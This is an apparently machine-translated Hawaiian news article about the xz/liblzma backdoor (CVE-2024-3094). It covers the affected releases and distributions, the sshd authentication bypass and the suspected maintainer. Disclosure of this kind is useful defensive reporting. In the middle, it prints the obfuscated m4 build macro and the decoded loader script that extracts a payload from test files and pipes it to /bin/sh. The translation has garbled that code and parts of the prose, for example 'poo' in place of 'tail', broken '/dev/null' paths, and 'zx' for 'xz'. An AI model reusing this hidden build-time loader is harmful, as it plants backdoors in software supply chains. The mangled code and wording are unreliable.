Ua ʻike ʻia kahi backdoor ma ka waihona xz/liblzma e hiki ai ke komo ma o sshd

I loko o ka pūʻolo XZ Utils, aia ka waihona liblzma a me nā pono hana no ka hana ʻana me ka ʻikepili i hoʻopaʻa ʻia i ka format ".xz", ua ʻike ʻia kahi backdoor (CVE-2024-3094) e hiki ai i ka interception a me ka hoʻololi ʻana o ka ʻikepili i hoʻoponopono ʻia e nā noi pili. me ka waihona liblzma. ʻO ka pahuhopu nui o ka puka hope ʻo ia ka OpenSSH server, kahi i hoʻopili ʻia me ka waihona libsystemd ma kekahi mau māhele, a laila hoʻohana i ka liblzma. ʻO ka hoʻopili ʻana i ka sshd me kahi waihona pilikino e hiki ai i nā mea hoʻouka ke komo i ka server SSH me ka ʻole o ka hōʻoia.

Aia ka backdoor i nā hoʻokuʻu mana 5.6.0 a me 5.6.1, i paʻi ʻia ma Pepeluali 24 a me Malaki 9, i hiki ke komo i loko o kekahi mau māhele a me nā repositories, no ka laʻana, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide a 40-beta, openSUSE hale hana a me ka tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Manaʻo ʻia nā mea hoʻohana a pau o xz 5.6.0 a me 5.6.1 e hoʻihoʻi koke i ka mana 5.4.6.

Ma waena o nā mea e hoʻohaʻahaʻa i ka pilikia, hiki ke hoʻomaopopo ʻia ʻaʻole i hoʻokele ka mana o liblzma me kahi backdoor i lilo i ʻāpana o ka hoʻokuʻu paʻa o nā puʻupuʻu nui, akā pili i openSUSE Tumbleweed a me Fedora 40-beta. Ua hoʻohana ʻo Arch Linux a me Gentoo i kahi ʻano palupalu o zx, akā ʻaʻole hiki ke hoʻouka ʻia no ka mea ʻaʻole lākou i hoʻohana i ka patch systemd-notify i openssh, kahi e hoʻopili ai ka sshd i liblzma. Hoʻopili wale ka backdoor i nā ʻōnaehana x86_64 e pili ana i ka kernel Linux a me ka waihona Glibc C.

Ua hūnā ʻia ke code hoʻāla hope i loko o nā macros m4 mai ka waihona build-to-host.m4 i hoʻohana ʻia e ka automake toolkit i ke kūkulu ʻana. I ka wā o ka hui ʻana, i ka wā o ka hoʻokō ʻana i nā hana obfuscated paʻakikī e pili ana i nā waihona (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), i hoʻohana ʻia e hoʻāʻo i ka pololei o ka hana, ua hana ʻia kahi faila me nā code malicious, i hoʻokomo ʻia i loko. ka waihona liblzma a hoʻololi i ka loiloi hana i kekahi o kāna mau hana. Ua hoʻokomo ʻia nā m4 macros e hoʻāla i ka puka hope i nā tarballs hoʻokuʻu, akā ʻaʻole i loko o ka waihona Git. I ka manawa like, aia nā waihona hoʻāʻo ʻino i loko o ka waihona, ʻo ia hoʻi. hiki i ka mea nāna i hoʻokō i ka puka hope ke komo i ka waihona a me nā kaʻina hana hoʻokuʻu.

I ka hoʻohana ʻana i ka liblzma i nā noi, hiki ke hoʻohana ʻia nā hoʻololi maikaʻi ʻole e hoʻopili a hoʻololi i ka ʻikepili, a i ʻole ka hopena i ka hana o sshd. ʻO ka mea kūikawā, ua hoʻopunipuni ka code malicious i ka hana RSA_public_decrypt e kāpae i ke kaʻina hana hōʻoia sshd. Ua komo ka puka hope i ka pale mai ka ʻike ʻana a ʻaʻole i hōʻike ʻia iā ia iho i ka wā i hoʻonohonoho ʻia ai nā ʻano hoʻololi kaiapuni LANG a me TERM (ʻo ia hoʻi, i ka wā e holo ana i ke kaʻina hana ma ka terminal) a ʻaʻole i hoʻonohonoho ʻia nā mea hoʻololi kaiapuni LD_DEBUG a me LD_PROFILE, a ua hoʻāla ʻia i ka wā e hoʻokō ai i ka /usr/sbin/sshd faila hiki ke hoʻokō. Loaʻa i ka backdoor kahi ala e ʻike ai i ka hoʻokō ʻana i nā kaiapuni debug.

No ka mea, ua hoʻohana ka faila m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[: alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Ma ka hana mua, ua loaʻa i ka hana grep nā file tests/files/bad-3-corrupt_lzma2.xz, i ka wā i wehe ʻia ai, i hana ai i ka palapala: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && puka 0 [ ! $(uname) = "Linux" ] && puka 0 [ ! $(uname) = "Linux" ] && puka 0 [ ! $(uname) = "Linux" ] && puka 0 [ ! $(uname) = "Linux" ] && puka 0 eval `grep ^srcdir= config.status` inā ho'āʻo -f ../../config.status; a laila eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >/dev/ null) && poo -c +2048 && (head -c +1024 >>dev/null) && poo -c +2048 && (head -c +1024 >>dev/null) && poo -c +2048 && (head - c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +2048 && (head -c +1024 >/dev/null) && poo - c +2048 && (head -c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +2048 && (head -c +1024 >>dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +2048 && ( poo -c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +2048 && (head -c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >/dev/null) && poo -c +2048 && (head -c +1024 >> dev/null) && poo -c +939)";(xz -dc $srcdir/hōʻoia/faila/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Pehea i hiki ai i ka poʻe hoʻouka ke komo i ka ʻōnaehana o ka papahana xz ʻaʻole i wehewehe piha ʻia. ʻAʻole maopopo i ka nui o nā mea hoʻohana a me nā papahana i hoʻohālikelike ʻia ma muli o ka puka hope. ʻO ka mea i manaʻo ʻia o ka backdoor (JiaT75 - Jia Tan), nāna i hoʻopuka i nā waihona me nā code malicious i loko o ka waihona, pili me nā mea hoʻomohala Fedora a hoʻouna i nā noi huki iā Debian e pili ana i ka hoʻololi ʻana o ka hāʻawi ʻana i ka lālā xz 5.6.0, a ʻaʻole i hana. ho'āla i ka manaʻo kānalua, ʻoiai ua komo ʻo ia i xz e ulu ana no nā makahiki ʻelua i hala a ʻo ia ka lua o ka mea hoʻomohala e pili ana i ka nui o nā loli i hana ʻia. Ma waho aʻe o ka papahana xz, ua komo pū ka mea kākau o ka backdoor i ka hoʻomohala ʻana i nā pahu xz-java a me xz-embedded. Eia kekahi, ua hoʻokomo ʻia ʻo Jia Tan i kekahi mau lā i hala aku nei i ka helu o nā mea mālama i ka papahana XZ Embedded i hoʻohana ʻia ma ka kernel Linux.

Ua ʻike ʻia ka hoʻololi ʻino ma hope o ka nānā ʻana i ka hoʻohana nui ʻana o ka CPU a me nā hewa i hana ʻia e valgrind i ka wā e hoʻopili ai ma o ssh i nā ʻōnaehana hoʻokumu ʻia ʻo Debian. He mea nui ka hoʻokuʻu ʻana o ka xz 5.6.1 i nā hoʻololi i hoʻomākaukau ʻia e ka mea i ʻōlelo ʻia o ka backdoor i ka pane ʻana i nā hoʻopiʻi e pili ana i ka sshd slowdowns a me nā ulia i kū mai ma hope o ka hoʻonui ʻana i ka mana zx 5.6.0 me ka backdoor. Eia hou, i ka makahiki i hala, ua hana ʻo Jia Tan i nā hoʻololi i kūpono ʻole me ke ʻano nānā "-fsanitize=address", e hoʻopau ʻia i ka wā o ka hoʻāʻo fuzz.

Source: opennet.ru

Pākuʻi i ka manaʻo hoʻopuka